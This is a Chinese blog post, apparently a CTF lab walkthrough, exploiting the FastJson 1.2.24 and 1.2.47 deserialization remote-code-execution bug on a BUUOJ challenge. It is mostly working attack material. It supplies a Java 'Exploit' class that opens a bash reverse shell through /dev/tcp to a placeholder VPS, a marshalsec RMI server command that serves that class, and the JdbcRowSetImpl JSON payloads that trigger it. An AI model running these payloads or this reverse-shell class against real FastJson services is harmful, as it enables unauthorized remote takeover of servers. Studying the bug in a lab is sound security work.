FastJson1.2.24/47 Rce

之前只在本地测试过FastJson的漏洞,实战情况下一般需要利用VPS反弹shell,这里尝试一下

环境
https://buuoj.cn/challenges#[FastJson]1.2.24-rce

构建rmi服务器工具marshalsec
https://github.com/RandomRobbieBF/marshalsec-jar.git

FastJson1.2.24

首先编写恶意类

import java.lang.Runtime;

public class Exploit{
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/VPS/6666 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}


编译后,上传到VPS,在对应目录下运行python3 -m http.server 2333,如果打不通需要检检查所有端口是否关闭防火墙。

检查恶意类是否能在本地反弹shell,并检查python启动的服务是否能正常访问。

在这里插入图片描述

使用工具marshalsec启动RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://VPS:2333/#Exploit" 9999

在提交的数据包中

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://VPS:9999/Exploit",
        "autoCommit":true
    }
}

即可连上shell

在这里插入图片描述

FastJson1.2.47

同样的办法,只需要修改最后提交的post数据即可

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://VPS:9999/Exploit",
        "autoCommit":true
    }
}
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值